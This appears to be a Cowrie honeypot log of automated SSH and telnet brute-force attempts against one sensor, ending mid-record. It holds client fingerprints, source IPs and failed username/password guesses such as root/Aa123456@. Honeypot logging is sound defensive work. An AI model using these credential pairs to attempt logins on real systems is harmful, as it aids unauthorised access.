{"eventid":"cowrie.login.failed","username":"root","password":"explorer","message":"login attempt [root/explorer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:00.350276Z","src_ip":"158.178.141.16","session":"9669181afe4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:00.423152Z","src_ip":"45.153.34.112","session":"f07648b07f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:00.953874Z","src_ip":"45.153.34.112","session":"f07648b07f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:01.565060Z","src_ip":"158.178.141.16","session":"9669181afe4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:02.052747Z","src_ip":"45.153.34.112","session":"f07648b07f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48946,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a1781df1c09","protocol":"ssh","message":"New connection: 45.153.34.112:48946 (10.17.0.5:22) [session: 0a1781df1c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:04.023275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:04.028744Z","src_ip":"45.153.34.112","session":"0a1781df1c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:04.111295Z","src_ip":"45.153.34.112","session":"0a1781df1c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41348,"dst_ip":"10.17.0.5","dst_port":23,"session":"35fb886fccb1","protocol":"telnet","message":"New connection: 192.119.13.58:41348 (10.17.0.5:23) [session: 35fb886fccb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:04.225440Z"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:04.358267Z","src_ip":"45.153.34.112","session":"0a1781df1c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":40342,"dst_ip":"10.17.0.5","dst_port":22,"session":"2766f41f69af","protocol":"ssh","message":"New connection: 43.173.122.127:40342 (10.17.0.5:22) [session: 2766f41f69af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:05.229155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:05.240464Z","src_ip":"43.173.122.127","session":"2766f41f69af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:05.309404Z","src_ip":"43.173.122.127","session":"2766f41f69af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:05.446103Z","src_ip":"45.153.34.112","session":"0a1781df1c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:05.616318Z","src_ip":"43.173.122.127","session":"2766f41f69af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:06.688797Z","src_ip":"43.173.122.127","session":"2766f41f69af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48954,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f713f81df24","protocol":"ssh","message":"New connection: 45.153.34.112:48954 (10.17.0.5:22) [session: 6f713f81df24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:07.438000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:07.443897Z","src_ip":"45.153.34.112","session":"6f713f81df24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:07.528859Z","src_ip":"45.153.34.112","session":"6f713f81df24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:07.780428Z","src_ip":"45.153.34.112","session":"6f713f81df24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.52982139587402,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:07.917514Z","src_ip":"186.195.16.41","session":"a4d5b70aef59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:08.866105Z","src_ip":"45.153.34.112","session":"6f713f81df24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45714,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb0c2d65cbfa","protocol":"ssh","message":"New connection: 45.153.34.112:45714 (10.17.0.5:22) [session: bb0c2d65cbfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:11.117059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:11.122316Z","src_ip":"45.153.34.112","session":"bb0c2d65cbfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:11.205257Z","src_ip":"45.153.34.112","session":"bb0c2d65cbfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:11.453343Z","src_ip":"45.153.34.112","session":"bb0c2d65cbfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:12.538481Z","src_ip":"45.153.34.112","session":"bb0c2d65cbfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":42732,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f8e2c104b3a","protocol":"ssh","message":"New connection: 43.134.175.218:42732 (10.17.0.5:22) [session: 5f8e2c104b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:12.591429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:12.596932Z","src_ip":"43.134.175.218","session":"5f8e2c104b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":53442,"dst_ip":"10.17.0.5","dst_port":22,"session":"958fb8112834","protocol":"ssh","message":"New connection: 103.75.182.198:53442 (10.17.0.5:22) [session: 958fb8112834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:12.791687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:12.796548Z","src_ip":"103.75.182.198","session":"958fb8112834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:12.827997Z","src_ip":"43.134.175.218","session":"5f8e2c104b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:13.040617Z","src_ip":"103.75.182.198","session":"958fb8112834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kola90kola","message":"login attempt [root/kola90kola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:13.764463Z","src_ip":"103.75.182.198","session":"958fb8112834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nosceteipsum","message":"login attempt [root/nosceteipsum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:13.782430Z","src_ip":"43.134.175.218","session":"5f8e2c104b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":44546,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9fad2123ed1","protocol":"ssh","message":"New connection: 106.251.244.178:44546 (10.17.0.5:22) [session: c9fad2123ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:13.816958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:13.822165Z","src_ip":"106.251.244.178","session":"c9fad2123ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:14.021922Z","src_ip":"106.251.244.178","session":"c9fad2123ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45726,"dst_ip":"10.17.0.5","dst_port":22,"session":"56dbedccba46","protocol":"ssh","message":"New connection: 45.153.34.112:45726 (10.17.0.5:22) [session: 56dbedccba46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:14.529265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:14.533648Z","src_ip":"45.153.34.112","session":"56dbedccba46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 